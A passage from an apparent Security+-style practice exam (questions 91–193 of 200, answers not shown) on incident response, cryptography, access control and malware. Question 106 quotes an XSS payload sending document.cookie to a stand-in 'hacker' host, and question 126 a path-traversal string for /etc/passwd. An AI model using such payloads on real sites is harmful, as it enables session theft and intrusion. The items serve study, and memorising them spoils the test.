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Following the successful response to a data-leakage incident, the incident team lead facilitates in an exercise that focuses on continuous improvement of the organization's incident response capabilities. Which of the following activities has the incident team lead executed?

Select one of the following:

Lessons learned review
Root cause analysis
Incident audit
Corrective action exercise

Explanation

Question 92 of 200

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A security analyst is attempting to break into a client's secure network. The analyst was not given prior information about the client, except for a block of public IP addresses that are currently in use. After network enumeration, the analyst's NEXT step is to perform:

Select one of the following:

a gray-box penetration test.
a risk analysis.
a vulnerability assessment.
an external security audit.
a red team exercise.

Explanation

Question 93 of 200

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A security architect has convened a meeting to discuss an organization's key management policy. The organization has a reliable internal key management system, and some argue that it would be best to manage the cryptographic keys internally as opposed to using a solution from a third party. The company should use:

Select one of the following:

the current internal key management system.
a third-party key management system that will reduce operating costs.
risk benefits analysis results to make a determination.
a software solution including secure key escrow capabilities

Explanation

Question 94 of 200

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After a recent internal breach, a company decided to regenerate and reissue all certificates used in the transmission of confidential information. The company places the greatest importance on confidentiality and non-repudiation, and decided to generate dual key pairs for each client. Which of the following BEST describes how the company will use these certificates?

Select one of the following:

One key pair will be used for encryption and decryption. The other will be used to digitally sign the data.
One key pair will be used for encryption. The other key pair will provide extended validation.
Data will be encrypted once by each key, doubling the confidentiality and non-repudiation strength.
One key pair will be used for internal communication, and the other will be used for external communication.

Explanation

Question 95 of 200

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A security manager is creating an account management policy for a global organization with sales personnel who must access corporate network resources while traveling all over the world. Which of the following practices is the security manager MOST likely to enforce with the policy? (Select TWO)

Select one or more of the following:

Time-of-day restrictions
Password complexity
Location-based authentication
Group-based access control
Standard naming convention

Explanation

Question 96 of 200

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A network administrator at a small office wants to simplify the configuration of mobile clients connecting to an encrypted wireless network. Which of the following should be implemented if the administrator does not want to provide the wireless password or certificate to the employees?

Select one of the following:

WPS (WiFi Protected Setup)
802.1x
WPA2-PSK (WiFi Protected Access 2 - Preshared Key)
TKIP (Temporal Key Integrity Protocol)

Explanation

Question 97 of 200

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A security administrator learns that PII, which was gathered by the organization, has been found in an open forum. As a result, several C-level executives found their identities were compromised, and they were victims of a recent whaling attack. Which of the following would prevent these problems in the future? (Select TWO).

Select one or more of the following:

Implement a reverse proxy.
Implement an email DLP (Data Loss Prevention).
Implement a spam filter.
Implement a host-based firewall.
Implement a HIDS (Host-based Intrusion Detection System).

Explanation

Question 98 of 200

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A security engineer is configuring a wireless network with EAP-TLS. Which of the following activities is a requirement for this configuration?

Select one of the following:

Setting up a server
Configuring federation between authentication servers
Enabling TOTP (Time-based One-time Password)
Deploying certificates to endpoint devices

Explanation

Question 99 of 200

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Ann is the IS manager for several new systems in which the classification of the systems' data are being decided. She is trying to determine the sensitivity level of the data being processed. Which of the following people should she consult to determine the data classification?

Select one of the following:

Steward
Custodian
User
Owner

Explanation

Question 100 of 200

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A systems administrator wants to generate a self-signed certificate for an internal website. Which of the following steps should the systems administrator complete prior to installing the certificate on the server?

Select one of the following:

Provide the private key to a public CA.
Provide the public key to the internal CA.
Provide the public key to a public CA.
Provide the private key to the internal CA.
Provide the public/private key pair to the internal CA.
Provide the public/private key pair to a public CA.

Explanation

Question 101 of 200

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A company is allowing a BYOD policy for its staff. Which of the following is a best practice that can decrease the risk of users jailbreaking mobile devices?

Select one of the following:

Install a corporately monitored mobile antivirus on the devices.
Prevent the installation of applications from a third-party application store.
Build a custom ROM than can prevent jailbreaking.
Require applications to be digitally signed.

Explanation

Question 102 of 200

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Which of the following describes the key difference between vishing and phishing attacks?

Select one of the following:

Phishing is used by attackers to steal a person's identity.
Vishing attacks require some knowledge of the target of attack.
Vishing attacks are accomplished using telephony services.
Phishing is a category of social engineering attack.

Explanation

Question 103 of 200

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Which of the following should a security analyst perform FIRST to determine the vulnerabilities of a legacy system?

Select one of the following:

Passive scan
Aggressive scan
Credentialed scan
Intrusive scan

Explanation

Question 104 of 200

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A hacker has a packet capture that contains:

....Joe Smith.........E289F21CD33E4F57890DDEA5CF267ED2..
...Jane.Doe...........AD1FAB10D33E4F57890DDEA5CF267ED2..
....John.Key..........3374E9E7E33E4F57890DDEA5CF267ED2..

Which of the following tools will the hacker use against this type of capture?

Select one of the following:

Password cracker
Vulnerability scanner
DLP scanner
Fuzzer

Explanation

Question 105 of 200

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A user downloads and installs an MP3 converter, and runs the application. Upon running the application, the antivirus detects a new port in a listening state. Which of the following has the user MOST likely executed?

Select one of the following:

RAT
Worm
Ransomware
Bot

Explanation

Question 106 of 200

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An attacker exploited a vulnerability on a mail server using the code below.

<HTML><body
onload=document.location.replace ('http://hacker/post.asp?victim&message =" + document.cookie + "<br>" + "URL:" +"document.location) ; />
</body>
</HTML>

Which of the following BEST explains what the attacker is doing?

Select one of the following:

The attacker is replacing a cookie.
The attacker is stealing a document.
The attacker is replacing a document.
The attacker is deleting a cookie.

Explanation

Question 107 of 200

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A security analyst is securing smartphones and laptops for a highly mobile workforce. Priorities include:

- Remote wipe capabilities
- Geolocation services
- Patch management and reporting
- Mandatory screen locks
- Ability to require passcodes and pins
- Ability to require encryption

Which of the following would BEST meet these requirements?

Select one of the following:

Implementing MDM software
Deploying relevant group policies to the device
Installing full device encryption
Removing administrative rights to the devices

Explanation

Question 108 of 200

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A systems administrator is attempting to recover from a catastrophic failure in the datacenter. To recover the domain controller, the systems administrator needs to provide the domain administrator credentials. Which of the following account types is the systems administrator using?

Select one of the following:

Guest account
Service account
User account
Local account

Explanation

Question 109 of 200

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An organization plans to implement multifactor authentication techniques within the enterprise network architecture. Each authentication factor is expected to be a unique control. Which of the following BEST describes the proper employment of multifactor authentication?

Select one of the following:

Proximity card, fingerprint scanner, PIN
Fingerprint scanner, voice recognition, proximity card
Smart card, user PKI certificate, privileged user certificate
Voice recognition, smart card, proximity card

Explanation

Question 110 of 200

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Multiple organizations operating in the same vertical want to provide seamless wireless access for their employees as they visit the other organizations. Which of the following should be implemented if all the organizations use the native 802.1x client on their mobile devices?

Select one of the following:

Shibboleth
RADIUS federation
SAML
OAuth
OpenID connect

Explanation

Question 111 of 200

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A security administrator is developing controls for creating audit trails and tracking if a PHI data breach is to occur. The administrator has been given the following requirements:

All access must be correlated to a user account.
All user accounts must be assigned to a single individual.
User access to the PHI data must be recorded.
Anomalies in PHI data access must be reported.
*Logs and records cannot be deleted or modified.

Which of the following should the administrator implement to meet the above requirements? (Select THREE).

Select one or more of the following:

Eliminate shared accounts.
Create a standard naming convention for accounts
Implement usage auditing and review.
Enable account lockout thresholds.
Copy logs in real time to a secured WORM (Write Once Read Many) device.
Implement time-of-day restrictions.
Perform regular permission audits and reviews.

Explanation

Question 112 of 200

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Which of the following threat actors is MOST likely to steal a company's proprietary information to gain a market edge and reduce time to market?

Select one of the following:

Competitor
Hacktivist
Insider
Organized crime

Explanation

Question 113 of 200

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Which of the following differentiates a collision attack from a rainbow table attack?

Select one of the following:

A rainbow table attack performs a hash lookup.
A rainbow table attack uses the hash as a password.
In a collision attack, the hash and the input data are equivalent.
In a collision attack, the same input results in different hashes.

Explanation

Question 114 of 200

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A security technician has been receiving alerts from several servers that indicate load balancers have had a significant increase in traffic. The technician initiates a system scan. The scan results illustrate that the disk space on several servers has reached capacity. The scan also indicates that incoming internet traffic to the servers has increased. Which of the following is the MOST likely cause of the decreased disk space?

Select one of the following:

Misconfigured devices.
Logs and event anomalies.
Authentication issues.
Unauthorized software.

Explanation

Question 115 of 200

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Which of the following is used to validate the integrity of data?

Select one of the following:

CBC (Cipher Block Chaining)
Blowfish
MD5 (Message Digest 5)
RSA (Rivest, Shamir, & Adleman)

Explanation

Question 116 of 200

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When it comes to cloud computing, if one of the requirements for a project is to have the most control over the systems in the cloud, which of the following "----- as a service" model that would be BEST suited for this goal?

Select one of the following:

Infrastructure
Platform
Software
Virtualization

Explanation

Question 117 of 200

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A company was recently audited by a third party. The audit revealed the company's network devices were transferring files in the clear. Which of the following protocols should the company use to transfer files?

Select one of the following:

HTTPS (Hypertext Terminal Protocol Secure)
LDAPS (Lightweight Directory Access Protocol Secure)
SCP (Secure Copy)
SNMPv3 (Simple Network Management Protocol ver 3)

Explanation

Question 118 of 200

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A cybersecurity analyst is looking into the payload of a random packet capture file that was selected for analysis. The analyst notices that an internal host had a socket established with another internal host over a non-standard port. Upon investigation, the origin host that initiated the socket shows this output:

usera@host>history
mkdir /local/usr/bin/somedirectory
nc -1 192.168.5.1 -p 9856
ping -c 30 8.8.8.8 -a 600
rm /etc/dir2/somefile
rm -rm /etc/dir2/
traceroute 8.8.8.8
pakill pid 9487
usera@host>

Given the above output, which of the following commands would have established the questionable socket?

Select one of the following:

traceroute 8.8.8.8
ping -1 30 8.8.8.8 -a 600
nc -1 192.168.5.1 -p 9856
pskill pid 9487

Explanation

Question 119 of 200

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To help prevent one job role from having sufficient access to create, modify, and approve payroll data, which of the following practices should be employed?

Select one of the following:

Least privilege
Job rotation
Background checks
Separation of duties

Explanation

Question 120 of 200

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The help desk received a call after hours from an employee who was attempting to log into the payroll server remotely. When the help desk returned the call the next morning, the employee was able to log into the server remotely without incident. However, the incident occurred again the next evening. Which of the following BEST describes the cause of the issue?

Select one of the following:

The password expired on the account and needed to be reset.
The employee does not have the rights needed to access the database remotely.
Time-of-day restrictions prevented the account from logging in.
The employee's account was locked out and needed to be unlocked.

Explanation

Question 121 of 200

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A home invasion occurred recently in which an intruder compromised a home network and accessed a WiFI-enabled baby monitor while the baby's parents were sleeping. Which of the following BEST describes how the intruder accessed the monitor?

Select one of the following:

Outdated antivirus
Wi-Fi signal strength
Social engineering
Default configuration

Explanation

Question 122 of 200

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Which of the following refers to the mean time used to restore a system to its operational state?

Select one of the following:

MTBF (Mean Time Between Failures)
MTTR ( Mean Time to Recover)
RTO (Recovery Time Objective)
RPO (Recovery Point Objective)

Explanation

Question 123 of 200

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A Chief Information Officer (CIO) recently saw on the news that a significant security flaws exists with a specific version of a technology the company uses to support many critical application. The CIO wants to know if this reported vulnerability exists in the organization and, if so, to what extent the company could be harmed. Which of the following would BEST provide the needed information?

Select one of the following:

Penetration test
Vulnerability scan
Active reconnaissance
Patching assessment report

Explanation

Question 124 of 200

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An organization is expanding its network team. Currently, it has local accounts on all network devices, but with growth, it wants to move to centrally managed authentication. Which of the following are the BEST solutions for the organization? (Sect TWO)

Select one or more of the following:

TACACS+ (Terminal Access Controller Access Control System Plus)
CHAP (Challenge Handshake Authentication Protocol)
LDAP (Lightweight Directory Access Protocol)
RADIUS (Remote Authentication Dial-in User Server)
MSCHAPv2 (Microsoft Challenge Handshake Authentication Protocol ver 2)

Explanation

Question 125 of 200

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Which of the following would provide additional security by adding another factor to a smart card?

Select one of the following:

Token
Proximity badge
Physical key
PIN

Explanation

Question 126 of 200

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A security analyst receives an alert from a WAF (Web Application Firewall) with the following payload:

var data = "<test test test> ++ <../../../../../../etc/passwd>"

Which of the following types of attacks is this?

Select one of the following:

Cross-site request forgery
Buffer overflow
SQL injection
JavaScript data insertion
Firewall evasion script

Explanation

Question 127 of 200

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Which of the following uses precomputed hashes to guess passwords?

Select one of the following:

lptables
NAT tables
Rainbow tables
ARP tables

Explanation

Question 128 of 200

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A systems administrator wants to provide balance between the security of a wireless network and usability. The administrator is concerned with wireless encryption compatibility of older devices used by some employees. Which of the following would provide strong security backward compatibility when accessing the wireless network?

Select one of the following:

Open wireless network and SSL (Secure Socket Layer) VPN (Virtual Private Network)
WPA (WiFi Protected Access) using a preshared key
WPA2 (WiFi Protected Access 2) using a RADIUS (Remote Authentication Dial-in User Server) back-end for 802.1x authentication
WEP (Wired Equivalent Privacy) with 40-bit key

Explanation

Question 129 of 200

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In determining when it may be necessary to perform a credentialed scan against a system instead of a non-credentialed scan, which of the following requirements is MOST likely to influence its decisions?

Select one of the following:

The scanner must be able to enumerate the host OS of devices scanner
The scanner must be able to footprint the network
The scanner must be able to check for open ports with listening services
The scanner must be able to audit file system permissions

Explanation

Question 130 of 200

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A security administrator receives an alert from a third-party vendor that indicates a certificate that was installed in the browser has been hijacked at the root of a small public CA. The security administrator knows there are at least four different browsers in use on more than a thousand computers in the domain worldwide. Which of the following solutions would be BEST for the security administrator to implement to most efficiently assist with this issue?

Select one of the following:

SSL (Secure Socket Layer)
CRL (Certificate Revocation List)
PKI (Public Key Infrastructure)
ACL (Acces Control List)

Explanation

Question 131 of 200

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After a user reports slow computer performance, a systems administrator detects a suspicious file, which was installed as part of a freeware software package. The systems administrator reviews the output below:

c:\Windows\system32>netstat -nab
Active Connections
Pronto Local Address Foreign Address State
TCP 0.0.0.0:135 0.0.0.0 RpcSs [svchoat.exe]
TCP 0.0.0.0:445 0.0.0.0 [svchost.exe]
TCP 192.168.1.10:5000 10.37.213.20 winserver.exe
UDP 192.168.1.10:1900 . SSDPSVR

Based on the above information, which of the following types of malware was installed on the user's computer?

Select one of the following:

RAT (Remote Access Trojan)
Keylogger
Spyware
Worm
Bot

Explanation

Question 132 of 200

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A company has noticed multiple instances of proprietary information on public websites. It has also observed an increase in the number of email messages sent to random employees containing malicious links and PDFs. Which of the following changes should the company make to reduce the risks associated with phishing attacks? (Select TWO)

Select one or more of the following:

Install an additional firewall
Implement a redundant email server
Block access to personal email on corporate systems
Update the X.509 certificates on the corporate email server
Update corporate policy to prohibit access to social media websites
Review access violation on the file server

Explanation

Question 133 of 200

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A security analyst is investigating a potential breach. Upon gathering, documenting, and securing the evidence, which of the following actions is the NEXT step to minimize the business impact?

Select one of the following:

Launch an investigation to identify the attacking host
Initiate the incident response plan
Review lessons learned captured in the process
Remove malware and restore the system to normal operation

Explanation

Question 134 of 200

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Joe, a salesman, was assigned to a new project that requires him to travel to a client site. While waiting for a flight, Joe, decides to connect to the airport wireless network without connecting to a VPN, and the sends confidential emails to fellow colleagues. A few days later, the company experiences a data breach. Upon investigation, the company learns Joe's emails were intercepted. Which of the following MOST likely caused the data breach?

Select one of the following:

Policy violation
Social engineering
Insider threat
Zero-day attack

Explanation

Question 135 of 200

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A company wants to ensure confidential data from storage media is sanitized in such a way that the drive cannot be reused. Which of the following method should the technician use?

Select one of the following:

Shredding
Wiping
Low-level formatting
Repartitioning
Overwriting

Explanation

Question 136 of 200

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An incident response manager has started to gather all the facts related to a SIEM alert showing multiple systems may have been compromised. The manager has gathered these facts:

- The breach is currently indicated on six user PCs
- One service account is potentially compromised
- Executive management has been notified

In which of the following phases of the IRP is the manager currently working?

Select one of the following:

Recovery
Eradication
Containment
Identification

Explanation

Question 137 of 200

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A stock trading company had the budget for enhancing its secondary datacenter approved. Since the main site is a hurricane-affected area and the disaster recovery site is 100 mi (161 km) away, the company wants to ensure its business is always operational with the least amount of man hours needed. Which of the following types of disaster recovery sites should the company implement?

Select one of the following:

Hot site
Warm site
Cold site
Cloud-based site

Explanation

Question 138 of 200

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User from two organizations, each with its own PKI, need to begin working together on a joint project. Which of the following would allow the users of the separate PKIs to work together without connection errors?

Select one of the following:

Trust model
Stapling
Intermediate CA
Key escrow

Explanation

Question 139 of 200

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A security analyst is migrating a pass-the-hash vulnerability on a Windows infrastructure. Given the requirement, which of the following should the security analyst do to MINIMIZE the risk?

Select one of the following:

Enable CHAP (Challenge Handshake Authentication Protocol)
Disable NTLM (New Technology LAN Manager)
Enable Kerberos
Disable PAP (Password Authentication Protocol)

Explanation

Question 140 of 200

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A security analyst is reviewing an assessment report that includes software versions, running services, supported encryption algorithms, and permission settings. Which of the following produced the report?

Select one of the following:

Vulnerability scanner
Protocol analyzer
Network mapper
Web inspector

Explanation

Question 141 of 200

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A Chief Information Officer (CIO) asks the company's security specialist if the company should spend any funds on malware protection for a specific server. Based on a risk assessment, the ARO (Annualized Rate of Occurrence) value of a malware infection for a server is 5 and the annual cost for the malware protection is $2500 (Single Loss Expectancy). Which of the following SLE values warrants a recommendation against purchasing the malware protection?

Select one of the following:

$500
$1000
$2000
$2500

Explanation

Question 142 of 200

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The computer resource center issue smartphones to all first-level and above managers. The managers have the ability to install mobile tools. Which of the following tools should be implemented with the type of tools the managers installed?

Select one of the following:

Download manager
Content manager
Segmentation manager
Application manager

Explanation

Question 143 of 200

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A systems administrator wants to provide for and enforce wireless access accountability during events where external speakers are invited to make presentations to a mixed audience of employees and non-employees. Which of the following should the administrator implement?

Select one of the following:

Shared accounts
Preshared password
Least privilege
Sponsored guest

Explanation

Question 144 of 200

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A recent internal audit is forcing a company to review each internal business unit's VMs because the cluster they are installed on is in danger of running out of computer resources. Which of the following vulnerabilities exist?

Select one of the following:

Buffer overflow
End-of-life systems
System sprawl
Weak configuration

Explanation

Question 145 of 200

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Two users must encrypt and transmit large amounts of data between them. Which of the following should they use to encrypt and transmit the data?

Select one of the following:

Symmetric algorithm
Hash function
Digital signature
Obfuscation

Explanation

Question 146 of 200

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A security engineer wants to implement a site-to-site VPN that will require SSL certificates for mutual authentication. Which of the following should the engineer implement if the design requires client MAC addresses to be visible across the tunnel?

Select one of the following:

Tunnel mode IPSec (Internet Protocol Security)
Transport mode VPN (Virtual Private Network) IPSec
L2TP (Layer 2 Tunneling Protocol)
SSL (Secure Socket Layer) VPN (Virtual Private Network)

Explanation

Question 147 of 200

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An application was recently compromised after some malformed data came in via web form. Which of the following would MOST likely have prevented this?

Select one of the following:

Input validation
Proxy server
Stress testing
Encoding

Explanation

Question 148 of 200

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While working on an incident, Joe, a technician, finished restoring the OS and applications on a workstation from the original media. Joe is about to begin copying the user's files back onto the hard drive. Which of the following incident response steps is Joe working on now?

Select one of the following:

Recovery
Eradication
Containment
Identification

Explanation

Question 149 of 200

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A systems administrator found a suspicious file in the root of the file system. The file contains URLs, usernames, passwords, and text from other documents being edited on the system. Which of the following types of malware would generate such a file?

Select one of the following:

Keylogger
Rootkit
Bot
RAT

Explanation

Question 150 of 200

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A computer emergency response team is called at midnight to investigate a case in which a mail server was restarted. After an initial investigation, it was discovered that email is being exfiltrated through an active connection. Which of the following is the NEXT step the team should take?

Select one of the following:

Identify the source of the active connection
Perform eradication of active connection and recover
Perform containment procedure by disconnecting the server
Format the server and restore its initial configuration

Explanation

Question 151 of 200

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A remote intruder wants to take inventory of a network so exploits can be researched. The intruder is looking for information about software versions on the network. Which of the following techniques is the intruder using?

Select one of the following:

Banner grabbing
Port scanning
Packet sniffing
Virus scanning

Explanation

Question 152 of 200

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A company has a data classification system with definitions for "Private" and "Public". the company's security policy outlines how data should be protected based on type. The company recently added data type "Proprietary". Which of the following is the MOST likely reason the company added this data type?

Select one of the following:

Reduced cost
More searchable
Better data classification
Expanded authority of the privacy officer

Explanation

Question 153 of 200

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A security technician is configuring an access management system to track and record user actions. Which of the following functions should the technician configure?

Select one of the following:

Accounting
Authorization
Authentication
Identification

Explanation

Question 154 of 200

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A security administrator installed a new network scanner that identifies new host systems on the network. Which of the following did the security administrator install?

Select one of the following:

Vulnerability scanner
Network-based IDS
Rogue system detection
Configuration compliance scanner

Explanation

Question 155 of 200

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A Chief Information Officer (CIO) has decided it is not cost effective to implement safeguards against a known vulnerability. Which of the following risk responses does this BEST describe?

Select one of the following:

Transference
Avoidance
Mitigation
Acceptance

Explanation

Question 156 of 200

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An audit takes place after company-wide restructuring, in which several employees changed roles. The following deficiencies are found during the audit regarding access to confidential data.

Employee Job Function Audit Finding
Ann Sales Manager Access to confidential payroll shares
Access to payroll processing program
Access to marketing shares

Jeff Marketing Director Access to human resources annual review folder
Access to shared human resources mailbox
John Sales Manager Active account
Access to human resources annual review folder
Access to confidential payroll shares

Which of the following would be the BEST method to prevent similar audit finding in the future?

Select one of the following:

Implement separation of duties for the payroll department
Implement a DLP (Data Loss Prevention) solution on the payroll and human resources reviews
Implement a rule-based access controls on the human resources server
Implement regular permission auditing and reviews

Explanation

Question 157 of 200

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A technician is investigating a potentially compromised device with the following symptoms:

Browser slowness
Frequent browser crashes
Hourglass stuck
New search toolbar
Increased memory consumption

Which of the following types of malware has infected the system?

Select one of the following:

Man-in-the-browser
Spoofer
Spyware
Adware

Explanation

Question 158 of 200

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A penetration tester has written an application that performs a bit-by-bit XOR 0xFF operation on binaries prior to transmission over untrusted media. Which of the following BEST describes the action performed by this type of application?

Select one of the following:

Hashing
Key exchange
Encryption
Obfuscation

Explanation

Question 159 of 200

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When attempting to secure a mobile workstation, which of the following authentication technologies rely on the user's physical characteristics? (Select TWO)

Select one or more of the following:

MAC address table
Retina scan
Fingerprint scan
Two-factor authentication
Password string

Explanation

Question 160 of 200

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A company has two wireless networks utilizing captive portals. Some employees report getting a trust error in their browsers when connecting to one of the networks. Both captive portals are using the same server certificate for authentication, but the analyst notices the following differences between the two certificate details:

Certificate 1
Certificate Path:
Geotrust Global CA
company.com

Certificate 2
Certificate Path:
company.com

Which of the following would resolve the problem?

Select one of the following:

Use a wildcard certificate
Use certificate chaining
Use a trust model
Use an extended validation certificate

Explanation

Question 161 of 200

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An organization's employees currently use three different sets of credentials to access multiple internal resources. Management wants to make this process less complex. Which of the following would be the BEST option to meet this goal?

Select one of the following:

Transitive trust
Single sign-on
Federation
Secure token

Explanation

Question 162 of 200

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An external attacker can modify the ARP cache of an internal computer. Which of the following types of attacks is described?

Select one of the following:

Replay
Spoofing
DNS poisoning
Client-side attack

Explanation

Question 163 of 200

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A systems administrator has isolated an infected system from the network and terminated the malicious process from executing. Which of the following should the administrator do NEXT according to the incident response process?

Select one of the following:

Restore lost data from a backup.
Wipe the system.
Document the lessons learned.
Determine the scope of the impact.

Explanation

Question 164 of 200

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A new security administrator ran a vulnerability scanner for the first time and caused a system outage. Which of the following types of scans MOST likely caused the outage?

Select one of the following:

Non-intrusive credentialed scan
Non-intrusive non-credentialed scan
Intrusive credentialed scan
Intrusive non-credentialed scan

Explanation

Question 165 of 200

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A security analyst is hardening a WiFi infrastructure. The primary requirements are the following:

The infrastructure must allow staff to authenticate using the most secure method.
The infrastructure must allow guests to use an "open" WiFi network that logs valid email addresses before granting access to the Internet.

Given these requirements, which of the following statements BEST represents what the analyst should recommend and configure?

Select one of the following:

Configure a captive portal for guests and WPS for staff.
Configure a captive portal for staff and WPA for guests.
Configure a captive portal for staff and WEP for guests.
Configure a captive portal for guest and WPA2 Enterprise for staff.

Explanation

Question 166 of 200

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A security administrator is trying to eradicate a worm, which is spreading throughout the organization, using an old remote vulnerability in the SMB protocol. The worm uses Nmap to identify target hosts within the company. The administrator wants to implement a solution that will eradicate the current worm and any future attacks that may be using zero-day vulnerabilities. Which of the following would BEST meet the requirements when implemented?

Select one of the following:

Host-based firewall
Enterprise patch management system
Network based intrusion prevention system
Application blacklisting
File integrity checking

Explanation

Question 167 of 200

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Which of the following is a deployment concept that can be used to ensure only the required OS access is exposed to software applications?

Select one of the following:

Staging environment
Sandboxing
Secure baseline
Trusted OS

Explanation

Question 168 of 200

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Which of the following types of penetration test will allow the tester to have access only to password hashes prior to the penetration test?

Select one of the following:

Black box
Gray box
Credentialed
White box

Explanation

Question 169 of 200

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Which of the following threats has sufficient knowledge to cause the MOST danger to an organization?

Select one of the following:

Competitors
Insiders
Hacktivists
Script kiddies

Explanation

Question 170 of 200

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A business sector is highly competitive, and safeguarding trade secrets and critical information is paramount. On a seasonal basis, an organization employs temporary hires and contractor personnel to accomplish its mission objectives. The temporary and contract personnel require access to network resources only when on the clock. Which of the following account management practices are the BEST ways to manage these
accounts?

Select one of the following:

Employ time-of-day restrictions.
Employ password complexity.
Employ a random key generator strategy.
Employ an account expiration strategy.
Employ a lockout policy.

Explanation

Question 171 of 200

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Which of the following locations contain the MOST volatile data?

Select one of the following:

SSD (Solid State Drive)
Paging file
RAM (Random Access Memory)
Cache memory

Explanation

Question 172 of 200

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Ann, a customer, is reporting that several important files are missing from her workstation. She recently received communication from an unknown party who is requesting funds to restore the files. Which of the following attacks has occurred?

Select one of the following:

Ransomware
Keylogger
Buffer overflow
Rootkit

Explanation

Question 173 of 200

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Every morning, a systems administrator monitors failed login attempts on the company's log management server. The administrator notices the DBAdmin account has five failed username and/or password alerts during a ten-minute window. The systems administrator determines the user account is a dummy account used to attract attackers. Which of the following techniques should the systems administrator implement?

Select one of the following:

Role-based access control
Honeypot
Rule-based access controls
Password cracker

Explanation

Question 174 of 200

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Joe, a user, has been trying to send Ann, a different user, an encrypted document via email. Ann has not received the attachment but is able to receive the header information. Which of the following is MOST likely preventing Ann from receiving the encrypted file?

Select one of the following:

Unencrypted credentials
Authentication issues
Weak cipher suite
Permission issues

Explanation

Question 175 of 200

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A systems administrator is configuring a system that uses data classification labels. Which of the following will the administrator need to implement to enforce access control?

Select one of the following:

Discretionary access control
Mandatory access controls
Role-based access control
Rule-based access control

Explanation

Question 176 of 200

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An analyst is using a vulnerability scanner to look for common security misconfigurations on devices. Which of the following might be identified by the scanner? (Select TWO).

Select one or more of the following:

The firewall is disabled on workstations.
SSH is enable on servers.
Browser homepages have not been customized.
Default administrator credentials exist on networking hardware.
The OS is only set to check for updates once a day.

Explanation

Question 177 of 200

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A security analyst is reviewing patches on servers. One of the servers is reporting the following error message in the WSUS (Windows Server Update Services) management console:

The computer has not reported status in 30 days.

Given this scenario, which of the following statements BEST represents the issue with the output above?

Select one of the following:

The computer in question has not pulled the latest ACL policies for the firewall.
The computer in question has not pulled the latest GPO policies from the management server.
The computer in question has not pulled the latest antivirus definitions from the antivirus program.
The computer in question has not pulled the latest application software updates.

Explanation

Question 178 of 200

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Two users must encrypt and transmit large amount of data between them. Which of the following should they use to encrypt and transmit the data?

Select one of the following:

Symmetric algorithm
Hash function
Digital signature
Obfuscation

Explanation

Question 179 of 200

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A bank is experiencing a DoS attack against an application designed to handle 500IP-based sessions. In addition, the perimeter router can only handle 1Gbps of traffic. Which of the following should be implemented to prevent a DoS attacks in the future?

Select one of the following:

Deploy multiple web servers and implement a load balancer
Increase the capacity of the perimeter router to 10 Gbps
Install a firewall at the network to prevent all attacks
Use redundancy across all network devices and services

Explanation

Question 180 of 200

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A malicious system continuously sends an extremely large number of SYN packets to a server. Which of the following BEST describes the resulting effect?

Select one of the following:

The server will be unable to connect to server clients due to lack of bandwidth
The server's firewall will be unable to effectively filter traffic due to the amount of data transmitted
The server will crash when trying to reassemble all the fragmented packets
The server will exhaust its memory maintaining half-open connections

Explanation

Question 181 of 200

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Which of the following is the proper order for logging a user into a system from the first step to the last step?

Select one of the following:

Identification, authentication, authorization
Identification, authorization, authentication
Authentication, identification, authorization
Authorization, identification, authentication

Explanation

Question 182 of 200

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A bank uses a wireless network to transmit credit card purchases to a billing system. Which of the following would be MOST appropriate to protect credit card information from being accessed by unauthorized individuals outside of the premises?

Select one of the following:

Air gap
Infrared detection
Faraday cage
Protected distributions

Explanation

Question 183 of 200

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A help desk technician receives a phone call from an individual claiming to be an employee of the organization and requesting assistance to access a locked account. The help desk technician asks the individual to provide proof of identity before access can be granted. Which of the following types of attack is the caller performing?

Select one of the following:

Phishing
Shoulder surfing
Impersonation
Dumpster diving

Explanation

Question 184 of 200

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Confidential emails from an organization were posted to a website without the organization's knowledge. Upon investigation, it was determined that the emails were obtained from an internal actor who sniffed the emails in plain text. Which of the following protocols, if properly implemented, would have MOST likely prevented the emails from being sniffed? (Select TWO)

Select one or more of the following:

Secure IMAP (Internet Message Access Protocol)
DNSSEC (Domain Name System Security Extensions)
S/MIME (Secure/Multipurpose Internet Mail Extensions)
SMPTS (Simple Mail Transfer Protocol Secure)
HTTPS (Hypertext Terminal Protocol Secure)

Explanation

Question 185 of 200

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A company wants to implement an access management solution that allows employees to use the same usernames and passwords for multiple applications without having to keep multiple credentials synchronized. Which of the following solutions would BEST meet these requirements? (Select TWO)

Select one or more of the following:

Multifactor authentication
SSO (Single sign-on)
Biometrics
PKI
Federation

Explanation

Question 186 of 200

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An external auditor visits the human resources department and performs a physical security assessment. The auditor observed documents on printers that are unclaimed. A closer look at these documents reveals employee names, addresses, ages, and types of medical and dental coverage options each employee has selected. Which of the following is the MOST appropriate actions to take?

Select one of the following:

Flip the documents face down so no one knows these documents are PII sensitive
Shred the documents and let the owner print the new set
Retrieve the documents, label them with a PII cover sheet, and return them to the printer
Report to the human resources manager that their personnel are violating a privacy policy

Explanation

Question 187 of 200

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Which of the following metrics are used to calculate the SLE (Single Loss Expectancy)? (Select TWO)

Select one or more of the following:

ROI (Return on Investment)
ARO (Annualized Rate of Occurence)
ALE (Annualized Loss Expectancy)
MTBF (Mean Time Between Failures)
MTTF (Mean Time to Failure)
TCO (Total Cost of Ownership)

Explanation

Question 188 of 200

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An office manager found a folder that included documents with various types of data relating to corporate clients. The office manager notified the data included dates of birth, addresses, and phone numbers for the clients. The office manager then reported this finding to the security compliance officer. Which of the following portions of the policy would the security officer need to consult to determine if a breach has occurred?

Select one of the following:

Public
Private
PHI
PII

Explanation

Question 189 of 200

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Which of the following is an asymmetric function that generates a new and separate key every time it runs?

Select one of the following:

RSA (Rivest, Shamir, & Adleman)
DSA (Digital Signature Algorithm)
DHE (Diffie-Hellman ephemeral mode))
HMAC (Hashed Message Authentication Code)
PBKDF2 (Password-based Key Derivation Function 2)

Explanation

Question 190 of 200

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Which of the following would be considered multifactor authentication?

Select one of the following:

Hardware token and smart card
Voice recognition and retina scan
Strong password and fingerprint
PIN and security questions

Explanation

Question 191 of 200

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Users report the following message appear when browsing to the company's secure site: This website cannot be trusted. Which of the following actions should a security analyst take to resolve these messages? (Select TWO)

Select one or more of the following:

Verify the certificate has not expired on the server
Ensure the certificate has a .pfx extension on the server
Update the root certificate into the client computer certificate store
Install the updated private key on the web server
Have users clear their browsing history and relaunch the session

Explanation

Question 192 of 200

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Despite having implemented password policies, users continue to set the same weak passwords and reuse old passwords. Which of the following technical controls would help prevent these policy violations? (Select TWO)

Select one or more of the following:

Password expiration
Password length
Password complexity
Password history
Password lockout

Explanation

Question 193 of 200

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A systems administrator has isolated an infected system from the network and terminated the malicious process from executing. Which of the following should the administrator do NEXT according to the incident response process?

Select one of the following:

Restore lost data from a backup.
Wipe the system.
Document the lessons learned.
